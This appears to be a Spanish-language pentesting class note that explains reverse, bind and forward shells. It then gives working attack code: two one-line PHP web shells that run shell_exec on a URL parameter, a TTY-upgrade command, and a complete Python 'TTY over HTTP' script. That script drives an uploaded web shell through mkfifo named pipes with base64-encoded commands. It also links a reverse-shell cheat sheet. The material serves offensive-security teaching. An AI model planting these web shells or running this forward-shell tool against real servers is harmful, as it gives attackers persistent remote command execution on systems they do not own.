Reverse shell, Bind shell y Foward shell
En esta clase, veremos las diferencias entre Reverse Shell, Bind Shell y Forward Shell:
Reverse Shell: Es una técnica que permite a un atacante conectarse a una máquina remota desde una máquina de su propiedad. Es decir, se establece una conexión desde la máquina comprometida hacia la máquina del atacante. Esto se logra ejecutando un programa malicioso o una instrucción específica en la máquina remota que establece la conexión de vuelta hacia la máquina del atacante, permitiéndole tomar el control de la máquina remota.
Bind Shell: Esta técnica es el opuesto de la Reverse Shell, ya que en lugar de que la máquina comprometida se conecte a la máquina del atacante, es el atacante quien se conecta a la máquina comprometida. El atacante escucha en un puerto determinado y la máquina comprometida acepta la conexión entrante en ese puerto. El atacante luego tiene acceso por consola a la máquina comprometida, lo que le permite tomar el control de la misma.
Forward Shell: Esta técnica se utiliza cuando no se pueden establecer conexiones Reverse o Bind debido a reglas de Firewall implementadas en la red. Se logra mediante el uso de mkfifo, que crea un archivo FIFO (named pipe), que se utiliza como una especie de “consola simulada” interactiva a través de la cual el atacante puede operar en la máquina remota. En lugar de establecer una conexión directa, el atacante redirige el tráfico a través del archivo FIFO, lo que permite la comunicación bidireccional con la máquina remota.
Es importante entender las diferencias entre estas técnicas para poder determinar cuál es la mejor opción en función del escenario de ataque y las limitaciones de la red.
Código php para ejecutar comandos por url
<?
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
?>
Script para obtener una tty después de obtener una reverse shell
Script /dev/null -c bash
TTYSobreHTTP
En ocasiones cuando comprometemos un servidor web, hay reglas configuradas ( Ej: iptables ) que nos impiden obtener una Reverse Shell vía Netcat, Python u otra utilidad.
Con esta herramienta, evitamos tener que hacer uso de un shell inverso para obtener un TTY posteriormente completamente interactivo. A través de archivos ‘ mkfifo ‘, jugamos para simular una TTY interactiva sobre HTTP, logrando manejarnos sobre el sistema cómodamente sin ningún tipo de problema.
Lo único que necesitamos, es subir al servidor comprometido una estructura PHP como la siguiente para ejecutar comandos:
<?php echo shell_exec($_REQUEST['cmd']); ?>
Una vez subido, simplemente ejecutamos el script (Es necesario cambiar la ruta en el script donde se ubica nuestro script PHP alojado en el servidor vulnerado).
Archivo tty_over_http.py
import requests, time, threading, pdb, signal, sys
from base64 import b64encode
from random import randrange
class AllTheReads(object):
def __init__(self, interval=1):
self.interval = interval
thread = threading.Thread(target=self.run, args=())
thread.daemon = True
thread.start()
def run(self):
readoutput = """/bin/cat %s""" % (stdout)
clearoutput = """echo '' > %s""" % (stdout)
while True:
output = RunCmd(readoutput)
if output:
RunCmd(clearoutput)
print(output)
time.sleep(self.interval)
def RunCmd(cmd):
cmd = cmd.encode('utf-8')
cmd = b64encode(cmd).decode('utf-8')
payload = {
'cmd' : 'echo "%s" | base64 -d | sh' %(cmd)
}
result = (requests.get('http://127.0.0.1/index.php', params=payload, timeout=5).text).strip()
return result
def WriteCmd(cmd):
cmd = cmd.encode('utf-8')
cmd = b64encode(cmd).decode('utf-8')
payload = {
'cmd' : 'echo "%s" | base64 -d > %s' % (cmd, stdin)
}
result = (requests.get('http://127.0.0.1/index.php', params=payload, timeout=5).text).strip()
return result
def ReadCmd():
GetOutput = """/bin/cat %s""" % (stdout)
output = RunCmd(GetOutput)
return output
def SetupShell():
NamedPipes = """mkfifo %s; tail -f %s | /bin/sh 2>&1 > %s""" % (stdin, stdin, stdout)
try:
RunCmd(NamedPipes)
except:
None
return None
global stdin, stdout
session = randrange(1000, 9999)
stdin = "/dev/shm/input.%s" % (session)
stdout = "/dev/shm/output.%s" % (session)
erasestdin = """/bin/rm %s""" % (stdin)
erasestdout = """/bin/rm %s""" % (stdout)
SetupShell()
ReadingTheThings = AllTheReads()
def sig_handler(sig, frame):
print("\n\n[*] Exiting...\n")
print("[*] Removing files...\n")
RunCmd(erasestdin)
RunCmd(erasestdout)
print("[*] All files have been deleted\n")
sys.exit(0)
signal.signal(signal.SIGINT, sig_handler)
while True:
cmd = input("> ")
WriteCmd(cmd + "\n")
time.sleep(1.1)
Bibliografia
https://github.com/s4vitar/ttyoverhttp/blob/master/tty_over_http.py
Recurso para con distintos lenguajes obtener reverse shell
https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet